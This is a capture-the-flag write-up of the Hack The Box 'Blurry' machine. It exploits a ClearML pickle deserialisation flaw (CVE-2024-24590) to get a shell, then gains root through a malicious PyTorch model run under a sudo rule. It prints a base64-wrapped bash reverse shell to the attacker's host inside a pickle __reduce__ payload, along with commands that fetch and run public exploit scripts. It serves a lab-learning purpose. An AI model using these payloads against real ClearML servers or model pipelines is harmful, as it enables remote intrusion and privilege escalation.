Malicious ML models— Blurry HTB writeup
Machine learning is a relatively new field, and its security — particularly on the offensive side — offers a fascinating area for exploration.
Blurry is a medium difficulty challenge on Hack The Box. It explores the field of ML development life cycle in terms of security. This challenge prompts the attacker to research machine learning concepts to root the machine.
Recon
Port scan
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
80/tcp open http nginx 1.18.0
Web
Port 80 (domain app.blurry.htb
) is hosting ClearML, an open source web application for managing and scaling machine learning workflows. It provides a suite of tools for experiment tracking, data management, model training orchestration, and deployment.
Exploit research
I found out that ClearML is vulnerable to an RCE (CVE-2024–24590).
The exploit takes advantage of the ability to execute code through pickle
, a library used to store machine learning models that can later be loaded as needed.
The exploit core resides in the exploit
function, below the most interesting lines with explanatory comments.
# [redacted]
# encoding the "bash -i" reverse shell in bas64
bash_cmd = f'bash -c "bash -i >& /dev/tcp/{local_ip}/{local_port} 0>&1"'
base64_cmd = encode_base64(bash_cmd)
# declaring the payload that will be executed decoding the previous reverse shell command and executing it
cmd = f'echo {base64_cmd} | base64 -d | sh'
# [redacted]
# declaring the exploit class that will be serialized into a picke artifact
class exploit:
def __reduce__(self):
return os.system, (cmd,)
# [redacted]
# initialize the Task for the specified project
task = Task.init(project_name=project_name, task_name='exploit', tags=["review"], output_uri=True)
# uploading the malicious artifact
task.upload_artifact(name='pickle_artifact', artifact_object=exploit(), retries=2, wait_on_upload=True)
# [redacted]
Exploiting the RCE
First, I downloaded the PoC, created a virtual environment and installed the requirements.
wget https://github.com/xffsec/CVE-2024-24590-ClearML-RCE-Exploit/raw/refs/heads/main/exploit.py
virtualenv venv
source venv/bin/activate
pip install clearml colorama
# feel free to install pwntools if you need
# I started a listener with nc by my own and commented out "from pwn import *"
python3 exploit.py
The first thing to do is initializing the ClearML client (option 1). The script will execute clearml-init
to create a config file containing the Access and Secret keys, needed to connect to the ClearML server.
This article explains how to generate a pair of keys.
I immediately faced an error :
Retrying (Retry(total=0, connect=None, read=None, redirect=None, status=None)) after connection broken by ‘NameResolutionError(“<urllib3.connection.HTTPConnection object at 0x7f158715c0e0>: Failed to resolve ‘api.blurry.htb’ ([Errno -2] Name or service not known)”)’: /auth.login
This is caused by the fact that clearml-init
calls the subdomain api.blurry.htb
, so it must be added to the /etc/hosts
. I also added files.blurry.htb
: it will be needed later to upload the malicious model.
In order to make the exploit work, it is necessary that the pickle artifact is executed by someone. In this case, there’s a scheduled task in ClearML, called “Review JSON Artifacts”, that reviews all the artifacts uploaded on every new task in the “Black Swan” project.
When the exploit script asks the project name, it is necessary to enter “Black Swan”. Also note that when you upload a new task is marked as “review” (tagged by the exploit itself when uploading it to ClearML).
This is important because the review task only reviews artifacts with that tag:
# Retrieve tasks tagged for review
tasks = Task.get_tasks(project_name='Black Swan', tags=["review"], allow_archived=False)
After config initialization, the script is ready to generate a malicious model, converting it to a pickle artifact and uploading it to the server.
$ python3 exploit.py
CVE-2024-24590 - ClearML RCE
============================
[1] Initialize ClearML
[2] Run exploit
[0] Exit
[>] Choose an option: 2
[+] Your IP: <IP>
[+] Your Port: <PORT>
[+] Target Project name Case Sensitive!: Black Swan
After the review of the malicious artifact, I gained a shell as jippity.
Escalating privileges with a PyTorch model
User jippity have the following permission in the sudoers file.
(root) NOPASSWD: /usr/bin/evaluate_model /models/*.pth
evaluate model
is a bash script that, surprisingly, evaluates ML models.
The scripts also makes some strange security checks with another custom script written in Python: /usr/local/bin/fickling
.
#!/usr/bin/python3
# -*- coding: utf-8 -*-
import re
import sys
from fickling.__main__ import main
if __name__ == '__main__':
sys.argv[0] = re.sub(r'(-script\.pyw|\.exe)?$', '', sys.argv[0])
sys.exit(main())
This script removes certain suffixes (-script.pyw
and .exe
) from the name of the script that is being executed. Given the poor security check, I thought I should apply what I learned before and create another malicious model, this time a PyTorch one. Here is a script that generates a malicious pth file.
Installation and usage:
wget https://raw.githubusercontent.com/duck-sec/pytorch-evil-pth/refs/heads/master/evil_pth.py
virtualenv venv
source venv/bin/activate
# this the extra index url flag will prevent pip from installing the nvidia GPU support packets (not needed)
pip install torch --extra-index-url https://download.pytorch.org/whl/cpu
python3 evil_pth.py "/bin/bash -p"
The script generated a PyTorch malicious model that will execute the command /bin/bash -p
as root, providing a privileged shell when evaluated.
Finally, I downloaded the malicious model on the target and exploited the vulnerable SUDO permissions.
# on my host
python3 -m http.server 80
# on the target
cd /model
wget http://10.10.10.10/evil_model.pth
sudo /usr/bin/evaluate_model /models/evil_model.pth
The exploit worked and returned a shell as root.